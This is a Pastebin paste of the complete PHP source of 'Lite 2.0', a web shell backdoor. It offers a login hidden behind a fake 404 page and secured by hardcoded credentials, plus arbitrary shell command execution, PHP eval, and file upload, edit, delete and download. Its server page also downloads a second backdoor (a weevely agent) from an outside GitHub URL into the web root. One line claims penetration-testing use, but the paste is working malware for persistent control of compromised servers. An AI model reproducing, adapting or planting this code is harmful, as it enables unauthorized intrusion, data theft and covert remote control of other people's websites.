Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- @session_start();
- @ob_start();
- set_time_limit(0);
- error_reporting(0);
- header("X-XSS-Protection: 0");
- $config = array();
- $config['username'] = "lite"; // username
- $config['password'] = "lite"; // password
- $config['default_action'] = "filemanager"; // upload , php , command , server , filemanager.
- $config['version'] = "2.0-2022"; // version.subversion-revision
- $config['hidden_login'] = true; // if true lite login be hidden and for accessing login page , u must add parameter in last filename like "shell.php?parameter" , for parameter config on the bellow
- $config['parameter'] = 'lite_login'; // parameter for accessing login page if hidden_login true. "shell.php?lite_login" for default parameter.
- /**
- *
- * /-----------------------------------/
- * / Lite define path,action,etc. /
- * /-----------------------------------/
- */
- define('ROOT', getcwd());
- define('CURR_PATH', (empty($_GET['p'])) ? ROOT : $_GET['p']);
- define('ACTION', (empty($_GET['a'])) ? $config['default_action'] : $_GET['a']);
- define('DS', DIRECTORY_SEPARATOR);
- // login form function
- function form_login()
- {
- echo "<div style='margin-top:50px;'><center><img src='https://seeklogo.com/images/L/l-letter-from-death-note-logo-6999722A33-seeklogo.com.png'><h3>Lite shell.</h3>";
- echo "<form method='post'><br><input type='text' name='username' placeholder='username' style='width:200px'><br><input type='password' name='password' placeholder='password' style='width:200px'><br><br><input type='submit' value='Login' name='login' style='width:200px'></form></center></div>";
- }
- // login authetication
- if (empty($_SESSION['lite1337']) && !empty($config['username']) && !empty($config['password'])) {
- if ($config['hidden_login'] === true) {
- if (isset($_GET[$config['parameter']])) {
- form_login();
- } else {
- die(header('HTTP/1.1 404 Not Found'));
- }
- } else {
- form_login();
- }
- if (isset($_POST['login'])) {
- if ($_POST['username'] == $config['username'] && $_POST['password'] == $config['password']) {
- $_SESSION['lite1337'] = true;
- echo "<meta http-equiv='refresh' content='0;url=?login={$config['username']}_{$config['password']}'>";
- }
- }
- exit;
- }
- function lite_curpath($path, $goto)
- {
- $dir = str_replace("\\", "/", $path);
- $dir = (is_file($dir)) ? dirname($dir) : $dir;
- $dir = explode("/", $dir);
- foreach ($dir as $o => $i) {
- if ($i == "" && $o == 0) {
- echo "<a href=\"?" . $goto . "=/\">/</a>";
- continue;}
- if ($i == "") {
- continue;
- }
- echo "<a href=\"?" . $goto . "=";
- for ($p = 0; $p <= $o; $p++) {
- echo $dir[$p];if ($p != $o) {
- echo "/";}}
- echo "&a=filemanager\">" . $i . "</a>/";}
- if (is_writable($path)) {echo "- [<b><font color=lime>W</font></b>]";} elseif (is_readable($path)) {echo "- [<b><font color=red>R</font></b>]";} else {echo "- [<b><font color=grey>Unknown</font></b>]<meta http-equiv='refresh' content='4;url=?'>";}
- echo "[<a href='?a=logout'><font color=red>Logout</font></a>]";
- }
- function lite_filesize($file)
- {
- $size = filesize($file) / 1024;
- $size = round($size, 3);
- if ($size > 1024) {
- $size = round($size / 1024, 2) . 'MB';
- } else {
- $size = $size . 'KB';}
- return $size;
- }
- function lite_lastmod($file)
- {
- $fdm = @date("d-m-Y H:i:s", filemtime($file));
- return $fdm;
- }
- function lite_perms($file)
- {
- $perms = fileperms($file);
- if (($perms&0xC000) == 0xC000) {
- $info = 's';} elseif (($perms&0xA000) == 0xA000) {$info = 'l';} elseif (($perms&0x8000) == 0x8000) {$info = '-';} elseif (($perms&0x6000) == 0x6000) {$info = 'b';} elseif (($perms&0x4000) == 0x4000) {$info = 'd';} elseif (($perms&0x2000) == 0x2000) {$info = 'c';} elseif (($perms&0x1000) == 0x1000) {$info = 'p';} else { $info = 'u';}
- $info .= (($perms&0x0100) ? 'r' : '-');
- $info .= (($perms&0x0080) ? 'w' : '-');
- $info .= (($perms&0x0040) ? (($perms&0x0800) ? 's' : 'x') : (($perms&0x0800) ? 'S' : '-'));
- $info .= (($perms&0x0020) ? 'r' : '-');
- $info .= (($perms&0x0010) ? 'w' : '-');
- $info .= (($perms&0x0008) ? (($perms&0x0400) ? 's' : 'x') : (($perms&0x0400) ? 'S' : '-'));
- $info .= (($perms&0x0004) ? 'r' : '-');
- $info .= (($perms&0x0002) ? 'w' : '-');
- $info .= (($perms&0x0001) ? (($perms&0x0200) ? 't' : 'x') : (($perms&0x0200) ? 'T' : '-'));
- return $info;
- }
- function lite_action($dir, $action)
- {
- $a = "";
- $x = basename($dir);
- if ($action == 'dir') {$a .= "[ ";
- $a .= "<a href='?p={$dir}&a=delete' title='delete : {$x}'><i class='fa fa-trash'></i></a> / ";
- $a .= "<a href='?p={$dir}&a=rename' title='rename : {$x}'><i class='fa fa-file-signature'></i></a> ";
- $a .= "]";
- } elseif ($action == 'file') {$a .= "[ ";
- $a .= "<a href='?p={$dir}&a=delete' title='delete : {$x}'><i class='fa fa-trash'></i></a> / ";
- $a .= "<a href='?p={$dir}&a=rename' title='rename : {$x}'><i class='fa fa-file-signature'></i></a> / ";
- $a .= "<a href='?p={$dir}&a=edit' title='edit : {$x}'><i class='fa fa-pencil-alt'></i></a> / ";
- $a .= "<a href='?p={$dir}&a=dl' title='download : {$x}'><i class='fa fa-download'></i></a> ]";
- }
- return $a;
- }
- function lite_action2($dir)
- {
- $p = $dir;
- $a = "<br><hr><table class='table table-responsive table-striped'><tr><td>";
- $a .= "Filesname </td><td><b> " . basename($dir) . "</b> </td></tr><tr><td>";
- $a .= "Permission </td><td><b> " . lite_perms($dir) . "</b> </td></tr><tr><td>";
- $a .= "File size </td><td><b> " . lite_filesize($dir) . "</b> </td></tr><tr><td>";
- $a .= "Last modified </td><td><b> " . lite_lastmod($dir) . "</b> </td></tr><tr><td> ";
- $a .= "Action </td><td>";
- $a .= "<a href='?p={$p}&a=rename' class='btn btn-warning'>Rename</a> ";
- $a .= "<a href='?p={$p}&a=delete' class='btn btn-danger'>Delete</a> ";
- $a .= "<a href='?p={$p}&a=edit' class='btn btn-primary'>Edit</a> ";
- $a .= "<a href='?p={$p}&a=dl' class='btn btn-success'>Download</a> ";
- $a .= "</td></tr></table><hr>";
- return $a;
- }
- function lite_delete($dir)
- {
- if (is_dir($dir)) {
- if (!rmdir($dir)) {
- $s = scandir($dir);
- foreach ($s as $ss) {
- if (is_file($dir . "/" . $ss)) {
- if (unlink($dir . "/" . $ss)) {
- $rm = rmdir($dir);
- }
- }
- if (is_dir($dir . "/" . $ss)) {
- $rm = rmdir($dir . "/" . $ss);
- $rm .= rmdir($dir);
- }
- }
- } elseif (is_file($dir)) {
- $rm = unlink($dir);
- }
- } elseif (is_file($dir)) {
- $rm = unlink($dir);
- }
- return $rm;
- }
- function lite_cmd($cmd)
- {
- if (function_exists('system')) {
- @ob_start();
- @system($cmd);
- $c = @ob_get_contents();
- @ob_end_clean();
- return $c;
- } elseif (function_exists('exec')) {
- @exec($cmd, $results);
- $c = "";
- foreach ($results as $result) {
- $c .= $result;
- }
- return $c;
- } elseif (function_exists('passthru')) {
- @ob_start();
- @passthru($cmd);
- $c = @ob_get_contents();
- @ob_end_clean();
- return $c;
- } elseif (function_exists('shell_exec')) {
- $c = @shell_exec($cmd);
- return $c;
- }
- }
- function lite_redirect($kemana, $apa = 'html')
- {
- if ($apa == 'html') {
- echo "<meta http-equiv='refresh' content='0;url={$kemana}'>";
- } elseif ($apa == 'js') {
- echo "<script>window.location.href='{$kemana}';</script>";
- } elseif ($apa == 'php') {
- @ob_start();
- header('location:' . $kemana);
- flush();
- }
- }
- function lite_download($file)
- {
- @ob_clean();
- header('Content-Description: File Transfer');
- header('Content-Type: application/octet-stream');
- header('Content-Disposition: attachment; filename="' . basename($file) . '"');
- header('Expires: 0');
- header('Cache-Control: must-revalidate');
- header('Pragma: public');
- header('Content-Length: ' . filesize($file));
- readfile($file);
- exit;
- }
- function lite_upload($a, $b)
- {
- if (function_exists('move_uploaded_file')) {
- $upl = move_uploaded_file($a, $b);
- } elseif (function_exists('copy')) {
- $upl = copy($a, $b);
- }
- return $upl;
- }
- function lite_array_upload($file)
- {
- $file_ary = array();
- $file_count = count($file['name']);
- $file_key = array_keys($file);
- for ($i = 0; $i < $file_count; $i++) {
- foreach ($file_key as $val) {
- $file_ary[$i][$val] = $file[$val][$i];
- }
- }
- return $file_ary;
- }
- function lite_title($text)
- {
- echo "<br><hr>";
- echo "<center><h3>..:: $text ::..</h3></center>";
- echo "<hr><br>";
- }
- function lite_sysfo()
- {
- $mysql = (function_exists('mysql_connect')) ? "<font color=lime>YES</font>" : "<font color=red>NO</font>";
- $mysqli = (function_exists('mysqli_connect')) ? "<font color=lime>YES</font>" : "<font color=red>NO</font>";
- $wget = (lite_cmd('wget --help')) ? "<font color=lime>YES</font>" : "<font color=red>NO</font>";
- $curl = (function_exists('curl_init')) ? "<font color=lime>YES</font>" : "<font color=red>NO</font>";
- $perl = (lite_cmd('perl --help')) ? "<font color=lime>YES</font>" : "<font color=red>NO</font>";
- $python = (lite_cmd('python --help')) ? "<font color=lime>YES</font>" : "<font color=red>NO</font>";
- $bash = (lite_cmd('bash --version')) ? "<font color=lime>YES</font>" : "<font color=red>NO</font>";
- $gcc = (lite_cmd('gcc --help')) ? "<font color=lime>YES</font>" : "<font color=red>NO</font>";
- $sm = (ini_get('safe_mode') == 'on') ? "<font color=lime>YES</font>" : "<font color=red>NO</font>";
- $df = (ini_get('disable_functions')) ? wordwrap(ini_get('disable_functions'), 100, "\n", true) : "<font color=red>NO !</font>";
- $sysfo = [
- 'Hostname' => $_SERVER['HTTP_HOST'],
- 'System' => php_uname(),
- 'PHP_version' => phpversion(),
- 'Software' => $_SERVER['SERVER_SOFTWARE'],
- 'IP_Server' => gethostbyname($_SERVER['HTTP_HOST']),
- 'IP_Client' => $_SERVER['REMOTE_ADDR'],
- 'MySQL' => $mysql,
- 'MySQLi' => $mysqli,
- 'Wget' => $wget,
- 'Curl' => $curl,
- 'Perl' => $perl,
- 'Python' => $python,
- 'Bash' => $bash,
- 'gcc' => $gcc,
- 'Safe_mode' => $sm,
- 'disable_functions' => $df];
- return $sysfo;
- }
- ?>
- <!DOCTYPE html>
- <html lang="en">
- <head>
- <meta charset="utf-8" />
- <link rel="icon" href="https://seeklogo.com/images/L/l-letter-from-death-note-logo-6999722A33-seeklogo.com.png">
- <meta http-equiv="X-UA-Compatible" content="IE=edge" />
- <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" />
- <meta name="description" content="" />
- <meta name="author" content="" />
- <title>(<?=$_SERVER['HTTP_HOST'];?>) <?=strtoupper(ACTION);?> - Lite 2.0</title>
- <link href="https://cdn.jsdelivr.net/npm/simple-datatables@latest/dist/style.css" rel="stylesheet" />
- <link href="https://fahmisyahya.w3spaces.com/sbadmin.css" rel="stylesheet" />
- <script src="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.3/js/all.min.js" crossorigin="anonymous"></script>
- </head>
- <body class="sb-nav-fixed">
- <nav class="sb-topnav navbar navbar-expand navbar-dark bg-dark">
- <!-- Navbar Brand-->
- <a class="navbar-brand ps-3" href="?">Lite 2.0</a>
- <!-- Sidebar Toggle-->
- <button class="btn btn-link btn-sm order-1 order-lg-0 me-4 me-lg-0" id="sidebarToggle" href="#!"><i class="fas fa-bars"></i></button>
- <form class="d-none d-md-inline-block form-inline ms-5 w-75" method="get">
- <div class="input-group">
- <input class="form-control" type="text" name="p" placeholder="Go to directory" value="<?=CURR_PATH;?>" />
- <button class="btn btn-primary" id="btnNavbarSearch" type="button"><i class="fas fa-arrow-right"></i></button>
- </div>
- </form>
- </nav>
- <div id="layoutSidenav">
- <div id="layoutSidenav_nav">
- <nav class="sb-sidenav accordion sb-sidenav-dark" id="sidenavAccordion">
- <div class="sb-sidenav-menu">
- <div class="nav">
- <div class="sb-sidenav-menu-heading">Lite Menu</div>
- <a class="nav-link" href="?p=<?=CURR_PATH;?>&a=filemanager">
- <div class="sb-nav-link-icon"><i class="fas fa-folder"></i></div>
- File Manager
- </a>
- <a class="nav-link" href="?p=<?=CURR_PATH;?>&a=upload">
- <div class="sb-nav-link-icon"><i class="fas fa-upload"></i></div>
- Upload
- </a>
- <a class="nav-link" href="?p=<?=CURR_PATH;?>&a=php">
- <div class="sb-nav-link-icon"><i class="fab fa-php"></i></div>
- Eval
- </a>
- <a class="nav-link" href="?p=<?=CURR_PATH;?>&a=command">
- <div class="sb-nav-link-icon"><i class="fas fa-terminal"></i></div>
- Command
- </a>
- <a class="nav-link" href="?p=<?=CURR_PATH;?>&a=php">
- <div class="sb-nav-link-icon"><i class="fas fa-info"></i></div>
- PHPInfo
- </a>
- <a class="nav-link" href="?p=<?=CURR_PATH;?>&a=server">
- <div class="sb-nav-link-icon"><i class="fas fa-server"></i></div>
- Server Info
- </a>
- <a class="nav-link" href="?a=logout">
- <div class="sb-nav-link-icon"><i class="fa fa-sign-out"></i></div>
- Logout
- </a>
- </nav>
- </div>
- <div id="layoutSidenav_content">
- <main>
- <div class="container-fluid mt-5 px-4">
- <?php
- if (ACTION == 'filemanager') {
- ?>
- <div class="card mb-4">
- <div class="card-header">
- <i class="fas fa-table me-1"></i>
- FileManager ( <?=lite_curpath(CURR_PATH, 'p');?> )
- </div>
- <div class="card-body">
- <form method="post">
- <table id="datatablesSimple">
- <thead>
- <tr>
- <th><input type="checkbox" name="fl[]" onclick="select_all(this)"></th>
- <th>Files</th>
- <th>Size</th>
- <th>Last Modified</th>
- <th>Permission</th>
- <th>Action</th>
- </tr>
- </thead>
- <tbody>
- <tr><td></td><td><a href="?p=<?=dirname(CURR_PATH);?>&a=filemanager"><i class="fa fa-long-arrow-alt-left"></i> Back</a></td><td></td><td></td><td></td><td align="right"><a href="?p=<?=CURR_PATH;?>&a=newfile"><i class="fa fa-plus"></i> file </a>|<a href="?p=<?=CURR_PATH;?>&a=newdir"><i class="fa fa-plus"></i> dir</a></td></tr>
- <?php
- $s = scandir(CURR_PATH);
- @chdir(CURR_PATH);
- foreach ($s as $d) {if (!is_dir(CURR_PATH . DS . $d) || $d == '.' || $d == '..') {
- continue;
- }
- $perm = (is_writable(CURR_PATH . DS . $d)) ? "<font color=lime>" . lite_perms(CURR_PATH . DS . $d) . "</font>" : "<font color=red>" . lite_perms(CURR_PATH . DS . $d) . "</font>";
- echo "<tr title='Dir : {$d}'>";
- echo "<td><input type='checkbox' name='fl[]' value='" . CURR_PATH . DS . "{$d}'></td>";
- echo "<td><i class='fa fa-folder'></i> <a href='?p=" . CURR_PATH . DS . $d . "&a=filemanager'>{$d}</a></td>";
- echo "<td>" . lite_filesize(CURR_PATH . DS . $d) . "</td>";
- echo "<td>" . lite_lastmod(CURR_PATH . DS . $d) . "</td>";
- echo "<td>" . $perm . "</td>";
- echo "<td align='right'>" . lite_action(CURR_PATH . DS . $d, 'dir') . "</td>";
- echo "</tr>";
- }
- foreach ($s as $f) {if (!is_file(CURR_PATH . DS . $f) || $f == '.' || $f == '..') {
- continue;
- }
- $perm = (is_writable(CURR_PATH . DS . $f)) ? "<font color=lime>" . lite_perms(CURR_PATH . DS . $f) . "</font>" : "<font color=red>" . lite_perms(CURR_PATH . DS . $f) . "</font>";
- echo "<tr title='file : {$f}'>";
- echo "<td><input type='checkbox' name='fl[]' value='" . CURR_PATH . DS . "{$f}'></td>";
- echo "<td><i class='fa fa-file'></i> <a href='?p=" . CURR_PATH . DS . $f . "&a=view'>{$f}</a></td>";
- echo "<td>" . lite_filesize(CURR_PATH . DS . $f) . "</td>";
- echo "<td>" . lite_lastmod(CURR_PATH . DS . $f) . "</td>";
- echo "<td>" . $perm . "</td>";
- echo "<td align='right'>" . lite_action(CURR_PATH . DS . $f, 'file') . "</td>";
- echo "</tr>";
- }
- ?>
- </tbody>
- </table>
- <div class="container-fluid">
- <label>Action for multiple select :</label>
- <select name="action" class="form-control">
- <option>---[ action ]---</option>
- <option value="delete">DELETE</option>
- <?php
- if (empty($_SESSION['cfile'])) {
- ?>
- <option value="copy">COPY</option>
- <?php
- } else {
- ?><option value="paste">PASTE</option><?php
- }
- ?>
- </select> <input type="submit" name="sac" class="btn btn-primary" value=">>" >
- </form>
- </div>
- </div>
- </div>
- <?php
- if (isset($_POST['sac'])) {
- if ($_POST['action'] == 'delete') {
- foreach ($_POST['fl'] as $dfil) {
- @lite_delete($dfil);
- }
- @lite_redirect('?p=' . CURR_PATH . '&a=filemanager');
- } elseif ($_POST['action'] == 'copy') {
- $_SESSION['cfile'] = $_POST['fl'];
- @lite_redirect('?p=' . CURR_PATH . '&a=filemanager');
- } elseif ($_POST['action'] == 'paste') {
- foreach ($_SESSION['cfile'] as $paste) {
- copy($paste, CURR_PATH . DS . basename($paste));
- }
- unset($_SESSION['cfile']);
- @lite_redirect('?p=' . CURR_PATH . '&a=filemanager');
- }
- }
- } elseif (ACTION == 'view') {
- echo lite_action2(CURR_PATH);
- echo '<textarea readonly="" class="form-control" style="width:100%;height:500px">' . htmlspecialchars(file_get_contents(CURR_PATH)) . '</textarea>';
- } elseif (ACTION == 'delete') {
- @lite_delete(CURR_PATH);
- @lite_redirect('?p=' . dirname(CURR_PATH));
- } elseif (ACTION == 'rename') {
- echo lite_action2(CURR_PATH);
- echo "<form method=post><div class='row'><div class='col'>";
- echo "<label>New name : </label></div><div class='col'>";
- echo "<input type='text' name='newname' placeholder='lite.php' class='form-control'></div><div class='col'>";
- echo "<input type='submit' name='s' value='save' class='btn btn-primary'></div></div>";
- echo "</form>";
- if (isset($_POST['s'])) {
- $newname = dirname(CURR_PATH) . DS . $_POST['newname'];
- @rename(CURR_PATH, $newname);
- @lite_redirect('?p=' . dirname(CURR_PATH));
- }
- } elseif (ACTION == 'edit') {
- echo lite_action2(CURR_PATH);
- echo "<form method=post>";
- echo "<textarea name='konten' class='form-control' style='width:100%;height:500px'>" . htmlspecialchars(file_get_contents(CURR_PATH)) . "</textarea><br>";
- echo "<input type='submit' name='s' value='save' style='width:200px' class='btn btn-primary'>";
- echo "</form>";
- if (isset($_POST['s'])) {
- $konten = $_POST['konten'];
- $fp = fopen(CURR_PATH, 'w');
- fwrite($fp, $konten);
- fclose($fp);
- @lite_redirect('?p=' . dirname(CURR_PATH));
- }
- } elseif (ACTION == 'dl') {
- echo lite_action2(CURR_PATH);
- @lite_download(CURR_PATH);
- } elseif (ACTION == 'upload') {
- lite_title('Upload file ( multiple )');
- echo "<form method='post' enctype='multipart/form-data'><div class='row'><div class='col-md-3'>";
- echo "<label>Upload to : </label></div><div class='col'>";
- echo "<input type='text' name='targetdir' value='" . CURR_PATH . "' class='form-control'><br><br></div></div><div class='row'>";
- echo "<div class='col-md-3'><label>Select file : </label></div>";
- echo "<div class='col'><input type='file' name='flite[]' class='form-control' multiple></div></div>";
- echo "<br><input type='submit' name='upload' value='Upload !' style='width:300px' class='btn btn-primary'><br><br>";
- if (isset($_POST['upload'])) {
- $list_file = lite_array_upload($_FILES['flite']);
- foreach ($list_file as $file) {$uf = $_POST['targetdir'] . DS . $file['name'];
- if (lite_upload($file['tmp_name'], $uf)) {
- $msg .= "[<font color=lime>SUCCESS</font>] Uploaded file : $uf <br>";
- } else {
- $msg .= "[<font color=red>FAILED</font>] Upload file : $uf <br>";
- }
- }
- echo $msg;
- }
- } elseif (ACTION == 'command') {
- lite_title('Command');
- echo "<form method=post><div class='row'><div class='col-md-2'>";
- echo "<label>lite@console :: </label></div><div class='col-md-8'>";
- echo "<input type='text' name='cmd' class='form-control'></div><div class='col-md-2'>";
- echo "<input type='submit' value='Execute' class='btn btn-primary'></div></div>";
- if (isset($_POST['cmd'])) {
- echo "<br>";
- echo "<hr>";
- echo "<pre>";
- echo lite_cmd($_POST['cmd']);
- echo "</pre>";
- }
- } elseif (ACTION == 'php') {
- ?>
- <script type="text/javascript">
- window.onload = function()
- {
- document.getElementById('eval').style.display='block';
- }
- function sh(w,u)
- {
- document.getElementById(w).style.display='block';
- document.getElementById(u).style.display='none';
- }
- </script>
- <?php
- lite_title('PHP');
- echo "<center>";
- echo "PHP version : " . phpversion();
- echo "<br>[<a href='#' onclick=\"sh('phpinfo','eval')\">phpinfo</a>][<a href='#' onclick=\"sh('eval','phpinfo')\">eval</a>]</center>";
- echo "<div id='phpinfo' style='display:none;'>";
- @ob_start();
- @eval("phpinfo();");
- $pxp = @ob_get_contents();
- @ob_end_clean();
- $awal = strpos($pxp, "<body>") + 6;
- $akhir = strpos($pxp, "</body>");
- echo "<center>" . substr($pxp, $awal, $akhir - $awal) . "</center>";
- echo "</div>";
- echo "<div id='eval' style='display:none;'><br>";
- echo "<form method=post><textarea name='eval' class='form-control' style='width:80%;height:300px;margin:0 auto;'>echo 'hello';</textarea><br>";
- echo "<input type='submit' name='run' value='Run !' class='btn btn-primary w-100'><br>";
- echo "</div>";
- if (isset($_POST['run'])) {
- $eval = $_POST['eval'];
- echo "<hr>";
- @eval($eval);
- }
- } elseif (ACTION == 'server') {
- if (!file_exists(ROOT . DS . 'weevely.php')) {
- $fp = fopen(ROOT . DS . 'weevely.php', 'w');
- fwrite($fp, @file_get_contents('https://raw.githubusercontent.com/justalinko/justalinko.github.io/master/jshell/Jweevely.php'));
- fclose($fp);
- }
- lite_title('Server');
- echo "<center>[<a href='#' onclick=\"hs('sysfo','weevely')\">Server info</a>] [<a href='#' onclick=\"hs('weevely','sysfo')\">Weevely</a>]</center>";
- echo "<hr>";
- echo "<table width=100% id='sysfo'>";
- foreach (lite_sysfo() as $name => $val) {
- echo "<tr><td>{$name}</td><td>{$val}</td></tr>";
- }
- echo "</table>";
- echo "<div id='weevely' style='display:none'>";
- if (file_exists(ROOT . DS . 'weevely.php')) {
- echo "<font color=lime> Weevely available.</font> open your terminal and remote weevely :D <br>";
- echo "$ python weevely.py http://" . $_SERVER['HTTP_HOST'] . "/weevely.php jshellv1 <br>";
- } else {
- echo "Weevely not exists";
- }
- } elseif (ACTION == 'newfile') {
- lite_title('New file');
- echo "<form method=post>";
- echo "<textarea name='konten'></textarea><br>";
- echo "<label>Save as :</label><input type='text' name='targetdir' value='" . CURR_PATH . DS . "newfile.php' style='width:60%'>";
- echo "<input type='submit' name='s' value='save' style='width:200px'>";
- echo "</form>";
- if (isset($_POST['s'])) {
- $konten = $_POST['konten'];
- $fp = fopen($_POST['targetdir'], 'w');
- fwrite($fp, $konten);
- fclose($fp);
- @lite_redirect('?p=' . dirname(CURR_PATH));
- }
- } elseif (ACTION == 'newdir') {
- echo "<form method=post>";
- echo "<label>Make dir : </label>";
- echo "<input type='text' name='dir' placeholder='directory' style='width:300px'>";
- echo "<input type='submit' name='s' value='save'>";
- echo "</form>";
- if (isset($_POST['s'])) {
- $newname = CURR_PATH . DS . $_POST['dir'];
- @mkdir($newname);
- @lite_redirect('?p=' . CURR_PATH);
- }
- } elseif (ACTION == 'logout') {
- session_destroy();
- @lite_redirect('?');
- } elseif (ACTION == 'lite') {
- lite_title("LITE WebBackdoor v1.0");
- echo "<pre>";
- echo "<h3>About</h3>";
- echo "<p> <b>Lite</b> is a simple and lightweight shell backdoor for excute shell command,filemanager and other.<br>Made with purpose needs penetration testing or filemanager only.</p>";
- echo "<h3>Configuration</h3>";
- foreach ($config as $name => $value) {
- echo "<font color=green>{$name}</font> ::: <font color=lime>{$value}</font><br>";
- }
- echo "</pre>";
- }
- ?>
- </div>
- </main>
- <footer class="py-4 bg-light mt-auto">
- <div class="container-fluid px-4">
- <div class="d-flex align-items-center justify-content-between small">
- <div class="text-muted">Copyright © Lite Admin</div>
- </div>
- </div>
- </footer>
- </div>
- </div>
- <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/js/bootstrap.bundle.min.js" crossorigin="anonymous"></script>
- <script>
- window.addEventListener('DOMContentLoaded', event => {
- // Toggle the side navigation
- const sidebarToggle = document.body.querySelector('#sidebarToggle');
- if (sidebarToggle) {
- // Uncomment Below to persist sidebar toggle between refreshes
- // if (localStorage.getItem('sb|sidebar-toggle') === 'true') {
- // document.body.classList.toggle('sb-sidenav-toggled');
- // }
- sidebarToggle.addEventListener('click', event => {
- event.preventDefault();
- document.body.classList.toggle('sb-sidenav-toggled');
- localStorage.setItem('sb|sidebar-toggle', document.body.classList.contains('sb-sidenav-toggled'));
- });
- }
- });
- window.addEventListener('DOMContentLoaded', event => {
- // Simple-DataTables
- // https://github.com/fiduswriter/Simple-DataTables/wiki
- const datatablesSimple = document.getElementById('datatablesSimple');
- if (datatablesSimple) {
- new simpleDatatables.DataTable(datatablesSimple);
- }
- });
- </script>
- <script src="https://cdn.jsdelivr.net/npm/simple-datatables@latest" crossorigin="anonymous"></script>
- </body>
- </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement